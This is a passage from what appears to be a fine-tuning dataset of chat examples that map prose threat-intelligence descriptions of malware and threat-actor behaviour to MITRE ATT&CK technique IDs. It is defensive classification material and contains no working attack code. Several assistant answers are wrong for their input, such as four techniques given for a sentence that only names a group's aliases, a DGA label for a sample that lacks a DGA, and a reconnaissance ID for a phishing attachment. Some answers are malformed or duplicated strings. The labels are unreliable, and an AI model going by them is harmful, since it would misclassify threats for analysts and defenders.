                "content": "During Frankenstein, the threat actors used a script that ran WMI queries to check if a VM or sandbox was running, including VMWare and Virtualbox. The script would also call WMI to determine the number of cores allocated to the system; if less than two the script would stop execution."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main  component."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has collected the username from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of active and listening connections by using the command \"netstat -nao\" as well as a list of available network mappings with \"net use\"."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has a command to delete a file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox has the ability to leverage local and remote exploits to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Table 4: URL parameters Additionally, the command string is hashed using the same RGPH hashing algorithm as before"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about security software on the victim."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For this analysis, we looked at version 2.14.845, which has a configuration that differs from the others Dreambot versions in that the domain generation algorithm (DGA) is not used: therefore, the DGA variables and parameters are missing"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest"
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component can upload local files."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. Also, its configuration is encrypted and is not base64 encoded anymore. It also does not use FTP for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon deletes one of its files, 2.hwp, from the endpoint after establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network. It was a ddos tool compiled to run on ARM systems"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar has the ability to identify domain administrator accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attached a malicious document to an email to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates new services to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can timestomp files on victims using a Web shell."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is distributed as a set of scripts and encrypted files and utilizes a PowerShell loader based on the Invoke-ReflectivePEInjection PowerSploit module to decode and inject the final payload DLL into memory"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor using appcmd to delete logs and disable logging"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware has the ability to regularly take screenshots; what’s more, it takes screenshots when certain “interesting” applications are run, for instance, IM’s. Screenshots are stored in compressed format and are regularly sent to the C&amp;C server – just like the audio recordings"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner used the \"ps\" command to monitor the running processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can obtain the computer name, OS version, and default language identifier."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor can collect any files found in the enumerated drivers before sending it to its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon creates a base directory that contains the files and folders that are collected."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1608.001 - Upload Malware', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KARAE can collect system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to delete files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back"
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has sent data to its C2 server via \"POST\" requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has collected the computer name and OS version from a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has the ability to download additional files from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can set a scheduled task on the target system to execute commands remotely using at."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AnyDesk has been the most common legitimate desktop software used to establish an interactive command and control channel, with ConnectWise seen slightly less frequently."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software', 'T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis obfuscates its code and encrypts the API names. Denis also encodes its payload in Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the legitimate Windows services `IKEEXT` and `PrintNotify` to side-load malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has obtained and used Empire to deploy agents."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla, also known as Snake, is an infamous espionage group recognized for its complex malware. To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. This allows them to bypass detection that can trigger when a malicious executable is dropped on disk"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao's backdoors have been written in Python and compiled with py2exe."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains code to clear event logs."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Spalax, the threat actors relied on a victim to click on a malicious link distributed via phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can parse the `ProxyServer` string in the Registry to discover http proxies."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After these strings are decrypted, the malware will load a series of Microsoft Windows API calls to be used later on. After these functions are loaded, Comnie determines if it is running within the %TEMP% directory of the victim machine. In the event it is not running within this directory, it will copy itself to %TEMP% and execute this newly created file with an argument of the original file’s path. A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk. After running within the %TEMP% path, Comnie will delete the original file. After Comnie has been copied to the %TEMP% directory, it will look for the presence of the ‘DQuit.tmp’ file in this path. It is unclear how this file is used exactly, as it does not appear to ever be written during runtime by Comnie. Comnie continue to enter its installation routine. In doing so, it will attempt to detect the following Anti-Virus products via various techniques"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER can use HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROCKBOOT is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 used PowerShell commands to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has been decompressed by included shellcode prior to being launched."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credentials that have either been reused across multiple platforms or have previously been exposed. Additionally, this includes VPN accounts - not just domain and local accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This log contains the external IP, the geographic location, the machine name, the time the machine was infected, as well as fields to be logged in the threat actor’s database"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This location data gives the attacker a unique edge, as they can specify a target country or city to attack and maximize their accuracy when choosing a particular target.    The .txt file contains information about the C2 domain and infected machine, as detected in a Cybereason Lab environment"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit. While the script’s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used Cobalt Strike C2 beacons for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "esentutl can be used to copy files from a given URL."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As we can see, it simply downloads a file from secure.dropinbox[.]pw using HTTP on port 443 (not HTTPS), and proceeds to decrypt the file using AES-128 prior to executing it. At this point, Cardinal RAT has been downloaded and executed, and execution is directed to this sample. Of course, the Carp Downloader is not required to download Cardinal RAT, however, based on our visibility, it has exclusively done so"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper extracts the communications and wiper components from resources named “PKCS7” and “PKCS12” respectively, while the x86 sample extracts the x64 variant of Disttrack from a resource named “X509”. To extract the components, the dropper is configured to seek specific offsets within the resource, read a specified number of bytes and decrypt the contents using a specified key. The key exists in the sample as a base64 encoded string that the dropper will decode then use each byte of the resulting string to XOR the data obtained from the resource. When determining the location of the ciphertext within the resource, the dropper subtracts 14 from the offset value in the sample’s configuration as an additional layer of obfuscation. Table 1 shows the resources within the Disttrack x86 sample, the component it contains and the values needed to decrypt its contents."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses netstat -ano to search for specific IP address ranges."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use Regsvr32 to execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis has masqueraded as the rsyncd and dbus-inotifier services."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT executes commands remotely on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo's C2 communication has been encrypted using OpenSSL."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors archived collected files with WinRAR, prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can use a malicious VBS file for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
